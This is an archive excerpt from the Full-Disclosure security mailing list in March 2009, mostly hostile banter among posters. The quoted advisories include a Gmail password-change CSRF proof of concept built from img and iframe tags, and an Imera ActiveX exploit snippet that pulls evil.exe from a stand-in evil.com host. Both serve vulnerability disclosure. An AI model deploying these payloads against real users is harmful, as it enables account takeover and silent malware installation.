>> -------------------------
>> Gmail service.
>>
>> VII. SOLUTION
>> -------------------------
>> No solution provided by vendor.
>>
>> VIII. REFERENCES
>> -------------------------
>> http://www.gmail.com
>>
>> IX. CREDITS
>> -------------------------
>> This vulnerability has been discovered and reported by
>> Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>>
>> X. REVISION HISTORY
>> -------------------------
>> July      31, 2007: Initial release
>> August     1, 2007: Fewer corrections.
>> December  30, 2008: Last details.
>>
>> XI. DISCLOSURE TIMELINE
>> -------------------------
>> July      30, 2007: Vulnerability acquired by
>>                    Internet Security Auditors.
>> August     1, 2007: Initial notification sent to the
>>                    Google security team.
>> August     1, 2007: Google security team request additional
>>                    information.
>>                    about and start review the vulnerability.
>> August    13, 2007: Request information about the status.
>> August    15, 2007: Google security team responds that they are
>still
>>                    working on this.
>> September 19, 2007: Request for the status. No response.
>> November  26, 2007: Request for the status. No response.
>> January    2, 2008: Request for the status. No response.
>> January    4, 2008: Request for the status. No response.
>> January   11, 2008: Request for the status. No response.
>> January   15, 2008: Request for the status. Automated response.
>> January   18, 2008: Google security team informs that don't
>expect
>>                    behaviour to change in the short term giving
>>                    the justification.
>>                    We deconstruct those arguments as
>insufficient.
>>                    No more responses.
>> December  30, 2008: Request for the status. Confirmation from
>Google
>>                    they won't change the consideration about
>this.
>> January   11, 2009: Publication to Bugtraq. Rejected twice.
>>                    No reasons.
>> March     03, 2009: General publication for disclosure in other
>lists.
>>
>> XII. LEGAL NOTICES
>> -------------------------
>> The information contained within this advisory is supplied "as-
>is"
>> with no warranties or guarantees of fitness of use or otherwise.
>> Internet Security Auditors accepts no responsibility for any
>damage
>> caused by the use or misuse of this information.
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
-----BEGIN PGP SIGNATURE-----
Charset: UTF8
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 3.0

wpwEAQMCAAYFAkmu0tgACgkQhNp8gzZx3siTfwP+IUd2rADVavW2BDTzO9Zt06Gz5ZyN
dVp7XkmLzK+/8251Mv51NgYmVlnM6LmfIqvSM6W4qnjyhpOO2w6SbYEd6UupxADHN03h
5Yx2yYdKAGdojxB5tAsS3HhgRbVNIgCGrsXONH1fNn+P4+qXgvpkMKJ0QZ/J9WNbl2ZK
Nj6U7f4=
=WaFE
-----END PGP SIGNATURE-----

--
Quality Kitchen Cabinets. Great products, prices and service.
 http://tagline.hushmail.com/fc/BLSrjkqfY0piALt30UUvI7em6isIEZqpdHUXK6oIPRX4UzdkaBah8ad4ZV2/



From bholdaaa at gmail.com  Wed Mar  4 20:16:16 2009
From: bholdaaa at gmail.com (bob jones)
Date: Wed, 4 Mar 2009 14:16:16 -0600
Subject: [Full-disclosure] The return of L0phtCrack
In-Reply-To: <0858F2CCCD894C0938992371@utd65257.utdallas.edu>
References: <6450e99d0903031555u2dfc1c86v2a4c5c13aa4549ae@mail.gmail.com>
	<642112710903040048h22c19ad5ueb4fdf75c8e45187@mail.gmail.com>
	<0858F2CCCD894C0938992371@utd65257.utdallas.edu>
Message-ID: <642112710903041216g4ee42254h9a058f5e007d8177@mail.gmail.com>

shouldn't you be applying some windows updates or installing print drivers?

On Wed, Mar 4, 2009 at 10:55 AM, Paul Schmehl <pschmehl_lists at tx.rr.com>wrote:

> --On Wednesday, March 04, 2009 02:48:09 -0600 bob jones <
> bholdaaa at gmail.com>
> wrote:
>
> > just now getting "64 bit support"
> >
> > as usual l0phtcrack is years behind everyone else but b/c they are huge
> > attention whores they get credit for *
> >
>
> As opposed to huge attention whores like you, who denigrates researchers
> with
> regularity while posting nothing of significance to a list viewed by no one
> of
> importance?  You mean that kind of attention whore?
>
> --
> Paul Schmehl, Senior Infosec Analyst
> As if it wasn't already obvious, my opinions
> are my own and not those of my employer.
> *******************************************
> Check the headers before clicking on Reply.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/9b4d0e54/attachment.html 

From 0xjbrown41 at gmail.com  Wed Mar  4 20:18:53 2009
From: 0xjbrown41 at gmail.com (Jeremy Brown)
Date: Wed, 4 Mar 2009 15:18:53 -0500
Subject: [Full-disclosure] Imera ImeraIEPlugin ActiveX Control Remote
	Code Execution
In-Reply-To: <20090304191424.610CD28042@smtp.hushmail.com>
References: <20090304191424.610CD28042@smtp.hushmail.com>
Message-ID: <c83481820903041218j2dfbe2c0n4a130c6ff13e9952@mail.gmail.com>

Carpel tunnel and OCD seem to be frequent disorders here.

On Wed, Mar 4, 2009 at 2:14 PM,  <bobby.mugabe at hushmail.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Mr. Stark,
>
> What difficulties have you encountered while posting to this list?
>
> - -bm
>
> On Wed, 04 Mar 2009 13:59:45 -0500 Jason Starks
> <jstarks440 at gmail.com> wrote:
>>That is why most of them are submitted to bugtraq (ew), and not
>>FD, where
>>they are often discredited in various ways. You see, bugtraq will
>>reject 4
>>out of 7 postings if your not a subscriber to their super fun
>>security
>>package, which offers lots of enjoyment of white hat and hacking
>>zone-h
>>labs. On this ridiculus list, its hard not to get your post
>>through! Kazaa!
>>
>>On Wed, Mar 4, 2009 at 3:51 AM, bob jones <bholdaaa at gmail.com>
>>wrote:
>>
>>> doesn't submitting lame bugs in useless apps ever get old?
>>>
>>> On Tue, Mar 3, 2009 at 9:12 AM, Elazar Broad
>><elazar at hushmail.com> wrote:
>>>
>>>> -----BEGIN PGP SIGNED MESSAGE-----
>>>> Hash: SHA1
>>>>
>>>> Who:
>>>> ?Imera(http://www.imera.com)
>>>> ?Imera TeamLinks
>>Client(http://teamlinks.imera.com/install.html)
>>>>
>>>> What:
>>>> ?ImeraIEPlugin.dll
>>>> ?Version 1.0.2.54
>>>> ?Dated 12/02/2008
>>>> ?{75CC8584-86D4-4A50-B976-AA72618322C6}
>>>> ?http://teamlinks.imera.com/ImeraIEPlugin.cab
>>>>
>>>> How:
>>>> ?This control is used to install the Imera TeamLinks Client
>>>> package. The control fails to validate the content that it is
>>to
>>>> download and install is indeed the Imera TeamLinks Client
>>software.
>>>>
>>>> Exploiting this issue is quite simple, like so:
>>>>
>>>> <object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
>>>> id="obj">
>>>> ? ? ? ?<param name="DownloadProtocol" value="http" />
>>>> ? ? ? ?<param name="DownloadHost" value="www.evil.com" />
>>>> ? ? ? ?<param name="DownloadPort" value="80" />
>>>> ? ? ? ?<param name="DownloadURI" value="evil.exe" />
>>>> </object>
>>>>
>>>> Fix:
>>>> ?The vendor has been notified.
>>>>
>>>> Workaround:
>>>> ?Set the killbit for the affected control, see
>>>> http://support.microsoft.com/kb/240797.
>>>> Use the Java installer for TeamLinks Client or install the
>>software
>>>> manually from: http://teamlinks.imera.com/download.html
>>>>
>>>> Elazar
>>>> -----BEGIN PGP SIGNATURE-----
>>>> Charset: UTF8
>>>> Note: This signature can be verified at
>>https://www.hushtools.com/verify
>>>> Version: Hush 3.0
>>>>
>>>>
>>wpwEAQECAAYFAkmtR6YACgkQi04xwClgpZgbTgP/T3l+Gj+pIt19H80tiHrlbpbB7+q
>>h
>>>>
>>/03/vQYTEL75n0XCmfGjbcurLhWlo+m90eDQwlgigq3CoQyqleKNI8kSDYjr2pw289P
>>m
>>>>
>>qC21ASe/P3zIM+gt81+iqDtKMA/MGvOE20nrHVEWlatAlCgmSjt3MJhqEJ/GdzUiR22
>>s
>>>> BDrpVM8=
>>>> =R0h3
>>>> -----END PGP SIGNATURE-----
>>>>
>>>> --
>>>> Thinking of a life with religion? ?Click here to find a
>>religious school
>>>> near you.
>>>>
>>>>
>>http://tagline.hushmail.com/fc/BLSrjkqkOt2ULsSphoguIMPooi9T2eJVBhBN
>>EJeyTxDH8nsQ8r6djRRztwU/
>>>>
>>>> _______________________________________________
>>>> Full-Disclosure - We believe in it.
>>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>>
>>>
>>>
>>> _______________________________________________
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
> -----BEGIN PGP SIGNATURE-----
> Charset: UTF8
> Version: Hush 3.0
> Note: This signature can be verified at https://www.hushtools.com/verify
>
> wpwEAQMCAAYFAkmu0q4ACgkQhNp8gzZx3si+qwP/Td5ZfCGAmEqHEpQi6uYGQC+fsw+B
> ccjg0iOFqIXFFOLVHoS5QhOC1KshSxGQ2qHZUExH4H5Vo9YIO43YuGYtYJRJGBsH4Y5z
> EK3Bof1DNf4DOZ2eYAQdAzPch6yx6xq4pvLntSPu0cJ+5KdDaH7/6tqeyu3Hs8iItz7w
> 50hFFC4=
> =M4GG
> -----END PGP SIGNATURE-----
>
> --
> Save hundreds on Computer Training. Click here.
> ?http://tagline.hushmail.com/fc/BLSrjkqaI8YbaAC7OKMyPV21xZA75vP9Y8orUJ0hENzoviZYSR8vU9DW19G/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From Thierry at Zoller.lu  Wed Mar  4 21:02:12 2009
From: Thierry at Zoller.lu (Thierry Zoller)
Date: Wed, 4 Mar 2009 22:02:12 +0100
Subject: [Full-disclosure] Bad kittie
Message-ID: <1566328317.20090304220212@Zoller.lu>



https://www.openrce.org/blog/view/1403/FRHACK_organizers_are_now_threatening_to_sue_me



-- 
http://secdev.zoller.lu
Thierry Zoller



From security.mustache at gmail.com  Wed Mar  4 21:06:59 2009
From: security.mustache at gmail.com (Valdis' Mustache)
Date: Wed, 4 Mar 2009 15:06:59 -0600
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <e1b25fd0903041055v2671790ctb281b8fab4c443e7@mail.gmail.com>
References: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
	<e1b25fd0903041055v2671790ctb281b8fab4c443e7@mail.gmail.com>
Message-ID: <26eb2b870903041306u781e0a64r700846f2d65f2e42@mail.gmail.com>

Mister Snarks,

I've never been anything but who I purport to be, the humble upper
facial hair quadrant of a loquacious sysadmin. Low of birth, though
noble in aspiration, a student of history and of the many mustaches
who came before myself.

You, young scholar, should be wary, though! Prospective employers do
make regular use of search engines, "googling" potential candidates to
gain insight into possible character flaws!

True, your clean and jerk abilities as archived on the YouTube are
admirable, but acting a fool on security lists is something normally
reserved only for those in academia, who are markedly difficult if not
impossible to unseat from their comfortable chairs, as indisputably
underscored by the e-antics of this mutache's owner, and, of course,
Mssr. Schmehl.

You'll come to regret your lack of anonymity, as your posts will live
on for eternity, much as I've came to regret my unfortunate
association with the unruly beardlike growth connecting to me from the
south, and my unavoidable tenuous connection with those objectionable
and uncouth sideburns.


Your humble servant,
I baffi di Valdis

On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks <jstarks440 at gmail.com> wrote:
> I know, its insane. It is a new trend, though, just like people registering
> gmail accounts just to flame and troll on FD!
>
> Its like, your credability like, goes like, ok you start like at 0, and then
> like, it goes like to -1, and like, then even lower like.
>
> Absolutely genius.
>
> x0x0x0x0x0x0x0x0x0x
>
> On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee <biz.marqee at gmail.com> wrote:
>>
>> This was 2 years well spent... NOT!
>>
>> Seriously what is with all these people popping up releasing advisories
>> that are absolute SHIT? Is it to try and get jobs or what?
>>
>>
>> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
>> advisories at isecauditors.com> wrote:
>>
>> > =============================================
>> > INTERNET SECURITY AUDITORS ALERT 2007-003
>> > - Original release date: August 1st, 2007
>> > - Last revised: January 11th, 2009
>> > - Discovered by: Vicente Aguilera Diaz
>> > - Severity: 3/5
>> > =============================================
>> >
>> > I. VULNERABILITY
>> > -------------------------
>> > CSRF vulnerability in GMail service
>> >
>> > II. BACKGROUND
>> > -------------------------
>> > Gmail is Google's free webmail service. It comes with built-in Google
>> > search technology and over 2,600 megabytes of storage (and growing
>> > every day). You can keep all your important messages, files and
>> > pictures forever, use search to quickly and easily find anything
>> > you're looking for, and make sense of it all with a new way of viewing
>> > messages as part of conversations.
>> >
>> > III. DESCRIPTION
>> > -------------------------
>> > Cross-Site Request Forgery, also known as one click attack or session
>> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
>> > malicious exploit of websites. Although this type of attack has
>> > similarities to cross-site scripting (XSS), cross-site scripting
>> > requires the attacker to inject unauthorized code into a website,
>> > while cross-site request forgery merely transmits unauthorized
>> > commands from a user the website trusts.
>> >
>> > GMail is vulnerable to CSRF attacks in the "Change Password"
>> > functionality. The only token for authenticate the user is a session
>> > cookie, and this cookie is sent automatically by the browser in every
>> > request.
>> >
>> > An attacker can create a page that includes requests to the "Change
>> > password" functionality of GMail and modify the passwords of the users
>> > who, being authenticated, visit the page of the attacker.
>> >
>> > The attack is facilitated since the "Change Password" request can be
>> > realized across the HTTP GET method instead of the POST method that is
>> > realized habitually across the "Change Password" form.
>> >
>> > IV. PROOF OF CONCEPT
>> > -------------------------
>> > 1. An attacker create a web page "csrf-attack.html" that realize many
>> > HTTP GET requests to the "Change Password" functionality.
>> >
>> > For example, a password cracking of 3 attempts (see "OldPasswd"
>> > parameter):
>> > ...
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <img
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > ...
>> >
>> > or with hidden frames:
>> > ...
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > <iframe
>> > src="
>> >
>> > https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
>> > ">
>> > ...
>> >
>> > The attacker can use deliberately a weak new password (see "Passwd"
>> > and "PasswdAgain" parameters), this way he can know if the analysed
>> > password is correct without need to modify the password of the victim
>> > user.
>> >
>> > Using weak passwords the "Change Password" response is:
>> >? - " The password you gave is incorrect. ", if the analysed password
>> > is not correct.
>> >? - " We're sorry, but you've selected an insecure password. In order
>> > to protect the security of your account, please click "Password
>> > Strength" to get tips on choosing to safer password. ", if the
>> > analysed password is correct and the victim password is not modified.
>> >
>> > If the attacker want to modify the password of the victim user, the
>> > waited response message is: " Your new password has been saved - OK ".
>> >
>> > In any case, the attacker evades the restrictions imposed by the
>> > captcha of the authentication form.
>> >
>> > 2. A user authenticated in GMail visit the "csrf-attack.html" page
>> > controlled by the attacker.
>> >
>> > For example, the attacker sends a mail to the victim (a GMail account)
>> > and provokes that the victim visits his page (social engineering). So,
>> > the attacker insures himself that the victim is authenticated.
>> >
>> > 3. The password cracking is executed transparently to the victim.
>> >
>> > V. BUSINESS IMPACT
>> > -------------------------
>> > - Selective DoS on users of the GMail service (changing user password).
>> > - Possible access to the mail of other GMail users.
>> >
>> > VI. SYSTEMS AFFECTED
>> > -------------------------
>> > Gmail service.
>> >
>> > VII. SOLUTION
>> > -------------------------
>> > No solution provided by vendor.
>> >
>> > VIII. REFERENCES
>> > -------------------------
>> > http://www.gmail.com
>> >
>> > IX. CREDITS
>> > -------------------------
>> > This vulnerability has been discovered and reported by
>> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
>> >
>> > X. REVISION HISTORY
>> > -------------------------
>> > July????? 31, 2007: Initial release
>> > August???? 1, 2007: Fewer corrections.
>> > December? 30, 2008: Last details.
>> >
>> > XI. DISCLOSURE TIMELINE
>> > -------------------------
>> > July????? 30, 2007: Vulnerability acquired by
>> >??????????????????? Internet Security Auditors.
>> > August???? 1, 2007: Initial notification sent to the
>> >??????????????????? Google security team.
>> > August???? 1, 2007: Google security team request additional
>> >??????????????????? information.
>> >??????????????????? about and start review the vulnerability.
>> > August??? 13, 2007: Request information about the status.
>> > August??? 15, 2007: Google security team responds that they are still
>> >??????????????????? working on this.
>> > September 19, 2007: Request for the status. No response.
>> > November? 26, 2007: Request for the status. No response.
>> > January??? 2, 2008: Request for the status. No response.
>> > January??? 4, 2008: Request for the status. No response.
>> > January?? 11, 2008: Request for the status. No response.
>> > January?? 15, 2008: Request for the status. Automated response.
>> > January?? 18, 2008: Google security team informs that don't expect
>> >??????????????????? behaviour to change in the short term giving
>> >??????????????????? the justification.
>> >??????????????????? We deconstruct those arguments as insufficient.
>> >??????????????????? No more responses.
>> > December? 30, 2008: Request for the status. Confirmation from Google
>> >??????????????????? they won't change the consideration about this.
>> > January?? 11, 2009: Publication to Bugtraq. Rejected twice.
>> >??????????????????? No reasons.
>> > March???? 03, 2009: General publication for disclosure in other lists.
>> >
>> > XII. LEGAL NOTICES
>> > -------------------------
>> > The information contained within this advisory is supplied "as-is"
>> > with no warranties or guarantees of fitness of use or otherwise.
>> > Internet Security Auditors accepts no responsibility for any damage
>> > caused by the use or misuse of this information.
>> >
>> > _______________________________________________
>> > Full-Disclosure - We believe in it.
>> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> > Hosted and sponsored by Secunia - http://secunia.com/
>> >
>>
>> _______________________________________________
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>



From jstarks440 at gmail.com  Wed Mar  4 21:44:50 2009
From: jstarks440 at gmail.com (Jason Starks)
Date: Wed, 4 Mar 2009 16:44:50 -0500
Subject: [Full-disclosure] Apple Safari ... DoS Vulnerability
In-Reply-To: <26eb2b870903041306u781e0a64r700846f2d65f2e42@mail.gmail.com>
References: <a741a45f0903031528t604c4df8t2e10af108835254a@mail.gmail.com>
	<e1b25fd0903041055v2671790ctb281b8fab4c443e7@mail.gmail.com>
	<26eb2b870903041306u781e0a64r700846f2d65f2e42@mail.gmail.com>
Message-ID: <e1b25fd0903041344g605429f1l697034cb563d3e22@mail.gmail.com>

Ah, probably not. Your stringing together words to make sentences is what
I'll regret reading. I'll continue to use my muscle milk and you'll continue
to work your 9-5. The world turns once again!

On Wed, Mar 4, 2009 at 4:06 PM, Valdis' Mustache <
security.mustache at gmail.com> wrote:

> Mister Snarks,
>
> I've never been anything but who I purport to be, the humble upper
> facial hair quadrant of a loquacious sysadmin. Low of birth, though
> noble in aspiration, a student of history and of the many mustaches
> who came before myself.
>
> You, young scholar, should be wary, though! Prospective employers do
> make regular use of search engines, "googling" potential candidates to
> gain insight into possible character flaws!
>
> True, your clean and jerk abilities as archived on the YouTube are
> admirable, but acting a fool on security lists is something normally
> reserved only for those in academia, who are markedly difficult if not
> impossible to unseat from their comfortable chairs, as indisputably
> underscored by the e-antics of this mutache's owner, and, of course,
> Mssr. Schmehl.
>
> You'll come to regret your lack of anonymity, as your posts will live
> on for eternity, much as I've came to regret my unfortunate
> association with the unruly beardlike growth connecting to me from the
> south, and my unavoidable tenuous connection with those objectionable
> and uncouth sideburns.
>
>
> Your humble servant,
> I baffi di Valdis
>
> On Wed, Mar 4, 2009 at 12:55 PM, Jason Starks <jstarks440 at gmail.com>
> wrote:
> > I know, its insane. It is a new trend, though, just like people
> registering
> > gmail accounts just to flame and troll on FD!
> >
> > Its like, your credability like, goes like, ok you start like at 0, and
> then
> > like, it goes like to -1, and like, then even lower like.
> >
> > Absolutely genius.
> >
> > x0x0x0x0x0x0x0x0x0x
> >
> > On Tue, Mar 3, 2009 at 6:28 PM, Biz Marqee <biz.marqee at gmail.com> wrote:
> >>
> >> This was 2 years well spent... NOT!
> >>
> >> Seriously what is with all these people popping up releasing advisories
> >> that are absolute SHIT? Is it to try and get jobs or what?
> >>
> >>
> >> On Tue, Mar 3, 2009 at :55 AM, ISecAuditors Security Advisories <
> >> advisories at isecauditors.com> wrote:
> >>
> >> > =============================================
> >> > INTERNET SECURITY AUDITORS ALERT 2007-003
> >> > - Original release date: August 1st, 2007
> >> > - Last revised: January 11th, 2009
> >> > - Discovered by: Vicente Aguilera Diaz
> >> > - Severity: 3/5
> >> > =============================================
> >> >
> >> > I. VULNERABILITY
> >> > -------------------------
> >> > CSRF vulnerability in GMail service
> >> >
> >> > II. BACKGROUND
> >> > -------------------------
> >> > Gmail is Google's free webmail service. It comes with built-in Google
> >> > search technology and over 2,600 megabytes of storage (and growing
> >> > every day). You can keep all your important messages, files and
> >> > pictures forever, use search to quickly and easily find anything
> >> > you're looking for, and make sense of it all with a new way of viewing
> >> > messages as part of conversations.
> >> >
> >> > III. DESCRIPTION
> >> > -------------------------
> >> > Cross-Site Request Forgery, also known as one click attack or session
> >> > riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a kind of
> >> > malicious exploit of websites. Although this type of attack has
> >> > similarities to cross-site scripting (XSS), cross-site scripting
> >> > requires the attacker to inject unauthorized code into a website,
> >> > while cross-site request forgery merely transmits unauthorized
> >> > commands from a user the website trusts.
> >> >
> >> > GMail is vulnerable to CSRF attacks in the "Change Password"
> >> > functionality. The only token for authenticate the user is a session
> >> > cookie, and this cookie is sent automatically by the browser in every
> >> > request.
> >> >
> >> > An attacker can create a page that includes requests to the "Change
> >> > password" functionality of GMail and modify the passwords of the users
> >> > who, being authenticated, visit the page of the attacker.
> >> >
> >> > The attack is facilitated since the "Change Password" request can be
> >> > realized across the HTTP GET method instead of the POST method that is
> >> > realized habitually across the "Change Password" form.
> >> >
> >> > IV. PROOF OF CONCEPT
> >> > -------------------------
> >> > 1. An attacker create a web page "csrf-attack.html" that realize many
> >> > HTTP GET requests to the "Change Password" functionality.
> >> >
> >> > For example, a password cracking of 3 attempts (see "OldPasswd"
> >> > parameter):
> >> > ...
> >> > <img
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > <img
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD2&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > <img
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD3&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > ...
> >> >
> >> > or with hidden frames:
> >> > ...
> >> > <iframe
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > <iframe
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > <iframe
> >> > src="
> >> >
> >> >
> https://www.google.com/accounts/UpdatePasswd?service=mail&hl=en&group1=OldPasswd&OldPasswd=PASSWORD1&Passwd=abc123&PasswdAgain=abc123&p=&save=Save
> >> > ">
> >> > ...
> >> >
> >> > The attacker can use deliberately a weak new password (see "Passwd"
> >> > and "PasswdAgain" parameters), this way he can know if the analysed
> >> > password is correct without need to modify the password of the victim
> >> > user.
> >> >
> >> > Using weak passwords the "Change Password" response is:
> >> >  - " The password you gave is incorrect. ", if the analysed password
> >> > is not correct.
> >> >  - " We're sorry, but you've selected an insecure password. In order
> >> > to protect the security of your account, please click "Password
> >> > Strength" to get tips on choosing to safer password. ", if the
> >> > analysed password is correct and the victim password is not modified.
> >> >
> >> > If the attacker want to modify the password of the victim user, the
> >> > waited response message is: " Your new password has been saved - OK ".
> >> >
> >> > In any case, the attacker evades the restrictions imposed by the
> >> > captcha of the authentication form.
> >> >
> >> > 2. A user authenticated in GMail visit the "csrf-attack.html" page
> >> > controlled by the attacker.
> >> >
> >> > For example, the attacker sends a mail to the victim (a GMail account)
> >> > and provokes that the victim visits his page (social engineering). So,
> >> > the attacker insures himself that the victim is authenticated.
> >> >
> >> > 3. The password cracking is executed transparently to the victim.
> >> >
> >> > V. BUSINESS IMPACT
> >> > -------------------------
> >> > - Selective DoS on users of the GMail service (changing user
> password).
> >> > - Possible access to the mail of other GMail users.
> >> >
> >> > VI. SYSTEMS AFFECTED
> >> > -------------------------
> >> > Gmail service.
> >> >
> >> > VII. SOLUTION
> >> > -------------------------
> >> > No solution provided by vendor.
> >> >
> >> > VIII. REFERENCES
> >> > -------------------------
> >> > http://www.gmail.com
> >> >
> >> > IX. CREDITS
> >> > -------------------------
> >> > This vulnerability has been discovered and reported by
> >> > Vicente Aguilera Diaz (vaguilera (at) isecauditors (dot) com).
> >> >
> >> > X. REVISION HISTORY
> >> > -------------------------
> >> > July      31, 2007: Initial release
> >> > August     1, 2007: Fewer corrections.
> >> > December  30, 2008: Last details.
> >> >
> >> > XI. DISCLOSURE TIMELINE
> >> > -------------------------
> >> > July      30, 2007: Vulnerability acquired by
> >> >                    Internet Security Auditors.
> >> > August     1, 2007: Initial notification sent to the
> >> >                    Google security team.
> >> > August     1, 2007: Google security team request additional
> >> >                    information.
> >> >                    about and start review the vulnerability.
> >> > August    13, 2007: Request information about the status.
> >> > August    15, 2007: Google security team responds that they are still
> >> >                    working on this.
> >> > September 19, 2007: Request for the status. No response.
> >> > November  26, 2007: Request for the status. No response.
> >> > January    2, 2008: Request for the status. No response.
> >> > January    4, 2008: Request for the status. No response.
> >> > January   11, 2008: Request for the status. No response.
> >> > January   15, 2008: Request for the status. Automated response.
> >> > January   18, 2008: Google security team informs that don't expect
> >> >                    behaviour to change in the short term giving
> >> >                    the justification.
> >> >                    We deconstruct those arguments as insufficient.
> >> >                    No more responses.
> >> > December  30, 2008: Request for the status. Confirmation from Google
> >> >                    they won't change the consideration about this.
> >> > January   11, 2009: Publication to Bugtraq. Rejected twice.
> >> >                    No reasons.
> >> > March     03, 2009: General publication for disclosure in other lists.
> >> >
> >> > XII. LEGAL NOTICES
> >> > -------------------------
> >> > The information contained within this advisory is supplied "as-is"
> >> > with no warranties or guarantees of fitness of use or otherwise.
> >> > Internet Security Auditors accepts no responsibility for any damage
> >> > caused by the use or misuse of this information.
> >> >
> >> > _______________________________________________
> >> > Full-Disclosure - We believe in it.
> >> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> > Hosted and sponsored by Secunia - http://secunia.com/
> >> >
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090304/73e8d81c/attachment.html 

From labs-no-reply at idefense.com  Wed Mar  4 21:42:50 2009
From: labs-no-reply at idefense.com (iDefense Labs)
Date: Wed, 04 Mar 2009 15:42:50 -0600
Subject: [Full-disclosure] iDefense COMRaider 'DeleteFile()' Method
 Arbitrary File Deletion Vulnerability
Message-ID: <49AEF5DA.60207@idefense.com>

Amir, et al,

We would not classify this issue as a security vulnerability.  The COM
object in question is *NOT* loadable in Internet Explorer in a default
configuration.

CLSID: {9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}
  ProgId: vbDevKit.CVariantFileSystem
  Path to binary: C:\WINDOWS\vbDevKit.dll
  Doesn't implement IObjectSafety
  Registry settings:
    Registry: is not safe for initialization
    Registry: is not safe for scripting
    Killbit is NOT set

In order to load this control, the particular security setting that
would need to be modified is "Initialize and script ActiveX controls not
marked as safe for scripting".  Changing this particular setting to
"Enable", or even "Prompt", significantly impacts the browser's overall
security posture.

In short, if your machine allows this control to be loaded, then your
browser will load controls regardless of safety designations such as
"Safe for Scripting", "Safe for Initialization", and "IObjectSaftey".
This includes the ability to load controls such as WScript, which can
execute arbitrary commands out of the box.

iDefense Labs




From 0xjbrown41 at gmail.com  Wed Mar  4 22:27:05 2009
From: 0xjbrown41 at gmail.com (Jeremy Brown)
Date: Wed, 4 Mar 2009 17:27:05 -0500
Subject: [Full-disclosure] iDefense COMRaider 'DeleteFile()' Method
